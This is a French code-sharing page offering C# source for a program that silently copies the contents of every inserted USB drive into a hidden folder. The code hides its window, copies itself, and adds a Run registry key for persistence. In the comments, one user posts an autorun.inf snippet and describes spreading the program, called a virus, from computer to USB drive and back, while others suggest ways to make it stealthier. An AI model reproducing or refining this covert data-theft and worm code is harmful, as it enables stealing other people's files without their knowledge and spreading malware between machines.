Copie de clé usb automatique

Soyez le premier à donner votre avis sur cette source.

Vue 12 426 fois - Téléchargée 1 395 fois

Description

Suite à la lecture d'un article sur la sécurité j'ai été inspiré de faire ce petit programme qui montre bien la facilité à copier du contenu sans trop attirer l'attention.

Le programme, une fois exécuté, crée un dossier caché, se copie et installe une clé de registre qui permet de le faire exécuter à chaque démarrage. Il est possible en faisant démarrer-->exécuter-->msconfig de voir les fichiers qui s'ouvre au démarrage.
Il détecte si un disque amovible est inséré et copie le contenu dans le dossier avec un nom aléatoire.

Source / Exemple :


//////////////////////////////////////////////////////////////////////////////////////////////////////
/// créé le 2 Août 2010 et fonctionnel sur XP, modifié 13 août 2010
/// http://jo.comoj.com 
//////////////////////////////////////////////////////////////////////////////////////////////////////
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using Microsoft.Win32;
using System.Runtime.InteropServices;

namespace ConsoleApplication17
{
    class Program
    {
        // importte des dll pour cacher la fenêtre
        [DllImport("user32.dll")]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        // Crée un nombre aléatoire pour un nom de dossier
        static Random rndNumbers = new Random();

        
        static void Main(string[] args)
        {
            //vérifie si le répertoire qui reçoit les données existe 
            if (!Directory.Exists(@"C:\test\"))
            {
                //sinon on le crée
                Directory.CreateDirectory(@"C:\test\");
               // Console.WriteLine("répertoire créé");
               // Console.ReadKey();

                // l'exécutable se copie directement dans le répertoire cible 
                //Environment.CurrentDirectory+"usbcopie.exe"
                File.Copy(System.Reflection.Assembly.GetExecutingAssembly().Location, @"C:\test\usbcopie.exe");
              //  Console.WriteLine("fichier exécutable copié");

                // mettre l'atrribut du répertoire caché 
                DirectoryInfo dirInfo = new DirectoryInfo(@"C:\test\");
                dirInfo.Attributes = FileAttributes.Hidden;
               // Console.WriteLine("attribut du répertoire : \"caché\"");
               // Console.ReadKey();
            }
            
            //Console.ReadKey();

  RegistryKey rkApp = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);  //On //ouvre toujours la clé
      if (!rkApp.GetValueNames().Any(s => s == "Bobo"))  //Si la donnée n'existe pas, on la crée
      {
        //name of your application as you want it to appear in msconfig
        rkApp.SetValue("Bobo", @"C:\test\usbcopie.exe");
      }

            // Cache la fenêtre ... 
            IntPtr hWnd = FindWindow(null, Console.Title);
            if (hWnd != IntPtr.Zero)// cache la fenêtre en cours 
                ShowWindow(hWnd, 0); // 0 = SW_HIDE
            OkGo();
            
        }

        static private void OkGo()
        {
            // on enregistre le nombre de disques présent sur le système 
            int nrbLecteurs = DriveInfo.GetDrives().Length;
            int noDossier=rndNumbers.Next();
            while (true)
            {
                // si le nombre de lecteurs a changé
                if (DriveInfo.GetDrives().Length > nrbLecteurs)
                {
                    // Pour chaque lecteur 
                    foreach (DriveInfo di in DriveInfo.GetDrives())
                    {
                        // Si c'est un disque amovible
                        if (di.DriveType == DriveType.Removable)
                        {

                            DirectoryInfo lecteurUSB = new DirectoryInfo(di.RootDirectory.ToString());
                            while (Directory.Exists(@"C:\test\" + noDossier))
                                noDossier=rndNumbers.Next();
                            DirectoryInfo receptacle = new DirectoryInfo(@"C:\test\" + noDossier);

                            Copie(lecteurUSB, receptacle);

                            //on incrémente le nom du répertoire pour une future sauvegarde
                            rndNumbers.Next();
                           // Console.WriteLine("ok bob" + receptacle.ToString() + lecteurUSB.ToString());
                        }
                    }
                }
                 // on enregistre le nombre de lecteurs pour détecter les insersions 
                    nrbLecteurs = DriveInfo.GetDrives().Length;
                // dort pour pas engorgée le système 
                System.Threading.Thread.Sleep(1000);

            }
        }

        // Copie récursive du lecteur USB 
        public static void Copie(DirectoryInfo source, DirectoryInfo cible)
        {
            // Vérifie si le répertoire existe, sinon il le crée
            if (!Directory.Exists(cible.FullName))
            {
                Directory.CreateDirectory(cible.FullName);
            }

            // copie chaque fichier dans le nouveau répertoire 
            foreach (FileInfo fichier in source.GetFiles())
            {
                try
                {
                    fichier.CopyTo(Path.Combine(cible.ToString(), fichier.Name));
                }
                catch { fichier.CopyTo(Path.Combine(cible.ToString(), rndNumbers + fichier.Name)); }
            }

            // Copie chaque répertoire de la source
            foreach (DirectoryInfo sousRepertoire in source.GetDirectories())
            {
                // crée un sous-répertoire dans le répertoire cible et rappel la méthode avec comme source un répertoire
                DirectoryInfo prochaineCible =
                    cible.CreateSubdirectory(sousRepertoire.Name);
                Copie(sousRepertoire, prochaineCible);
            }
        }

    }
}

Conclusion :


Ceci est un exemple seulement, il faudrait bien sûr limiter l'espace à copier par exemple 10Go et s'assurer que les noms des répertoires ne puissent revenir deux fois, etc.. ,etc..

Codes Sources

A voir également

Ajouter un commentaire

Commentaires

pigedanslelac
Messages postés
6
Date d'inscription
dimanche 20 septembre 2009
Statut
Membre
Dernière intervention
10 août 2010
-
Juste un petit commmentaire, ça fonctionne sur XP p-e pas sur Vista.
sebmafate
Messages postés
4936
Date d'inscription
lundi 17 février 2003
Statut
Modérateur
Dernière intervention
14 février 2014
32 -
Bonne idée... mais il y a plus simple !
Il existe un évènement lorsque qu'un périphérique USB est inséré. Ca t'éviterait de faire une boucle infinie qui utilise des ressources pour rien.

--> http://www.codeproject.com/KB/system/DriveDetector.aspx
pigedanslelac
Messages postés
6
Date d'inscription
dimanche 20 septembre 2009
Statut
Membre
Dernière intervention
10 août 2010
-
Désolé mais l'évènement dont tu me parle est en Windows Form et non en Console, et ça me semble complexe à faire en Console pour un débutant.

Par contre il serait facile de créer un fichier autorun.inf avec un attribut "caché" contenant:
[autorun]
shellexecute=usbcopie.exe
useautoplay=1

Dès la découverte d'une clé USB(ligne 89), on pourrait alors copié le fichier autorun et le virus sur la clé après avoir téléchargé le contenu. L'autorun.inf sous XP ( et probablement Vista avec useautoplay=1) s'exécute lors de l'insertion de la clé. Donc le programme se propagerait d'ordinateur en clé et de clé en ordinateur...etc..etc..
sebmafate
Messages postés
4936
Date d'inscription
lundi 17 février 2003
Statut
Modérateur
Dernière intervention
14 février 2014
32 -
oui, mais justement si tu fais une appli console tu ne peux pas la masquer... alors qu'un formulaire se cache (très) facilement.
micheldemey
Messages postés
2
Date d'inscription
jeudi 23 juillet 2009
Statut
Membre
Dernière intervention
10 août 2010
-
Bonjour,

moi je me demande s'il n'y a pas une petite erreur de logique :
Suppose qu'on insère une clef : il copie la clef sur le répertoire caché.
Ensuite, on en insère une deuxième : il va refaire une copie de la première clef...
Idem lorsqu'on enlèvera une des deux clef : il va refaire une copie.

Donc je propose de modifier cela en utilisant le numéro de série de la clef.
Je ne me souviens pas comment faire, mais il y a un code source sur ce site (utilisation d'une clef usb pour l'accès), qui pourrait servir.
On pourrait créer un répertoire avec le numéro de série que l'on modifiera plutôt que d'en refaire chaque fois un, ensuite on peut enregistrer aussi la date et l'heure de dernière mise à jour, et ne pas refaire une copie trop fréquemment.

Sujet vaste, avec de nombreuses possibilités.

Autre remarque : en ce qui concerne la discrétion, il y a pas mal de clef qui clignotent à qui mieux mieux lorsqu'on transfère des fichiers... Ca, ça ne sera pas discret...

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (pigedanslelac)